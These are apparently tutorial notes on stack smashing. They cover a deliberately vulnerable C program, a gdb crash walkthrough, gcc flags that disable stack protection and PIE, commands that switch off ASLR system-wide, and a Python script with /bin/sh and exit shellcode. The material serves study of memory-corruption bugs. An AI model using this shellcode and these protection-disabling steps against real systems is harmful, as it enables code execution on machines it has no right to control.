Stack Smashing

Stack smashing is a buffer overflow attack where writing past a fixed-size stack buffer overwrites adjacent stack data — most importantly the saved return address — to redirect execution.

Basic usage

A minimal vulnerable program and how it is typically built for study:

#include <stdio.h>

int main() {
    char buf[16];
    scanf("%s", buf); // no bounds check -> overflow
    return 0;
}
# disable protections to make the overflow observable
gcc vuln.c -o vuln -fno-stack-protector -no-pie -ggdb

Walkthrough

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char u[16];
    volatile int p = 0;
    scanf("%s", u);
    if (p != 0) {
        printf("How u do dat?\n");
    }
    else {
        printf("Nope.\n");
    }
    return 0;
}

compile: gcc vuln.c -o vuln -fno-stack-protector -ggdb

  1. gdb vuln

  2. disas main (not needed)

  3. list 11

  4. break 10

  5. break 11

  6. r <<< $(python -c "print('A'*40)") this should return a segmentation fault

note the memory address:

Program received signal SIGSEGV, Segmentation fault.
0x00005555555551a0 in main () at vuln.c:17
  1. confirm with info reg or p/x $rip

remove a breakpoint: del #

  • x/16x buf

  • i f

Compiler flags

  • -fno-stack-protector disables stack smashing protection.

  • -m32 generate 32-bit architecture code.

  • -mpreferred-stack-boundary=2 stack boundary should be aligned in 4 bytes.

  • -ggdb generate debug information compatible with the GDB debugger.

  • -fno-pie disables position-independent executable (PIE) generation which randomizes the base address of the executable.

  • -z execstack sets the stack as executable.

ASLR

disabling: setarch $(uname -m) -R <ELF executable>

permanently: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Shellcode payload

import sys

OFFSET      = b"\x41"
EIP         = b"\x38\xcd\xff\xff" # PLEASE FIND THE CORRECT EIP FOR EVERY COMPUTER MEMORY ADDRESS. DO NOT USE THIS ADDRESS SINCE IT'S DIFFERENT FOR ALL COMPUTERS
NOP         = b"\x90"

SHELLCODE   = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
SHELLCODE2  = b"\x31\xc0\x40\x89\xc3\xcd\x80"

exploit     = SHELLCODE2 + NOP*5 + EIP
sys.stdout.buffer.write(exploit)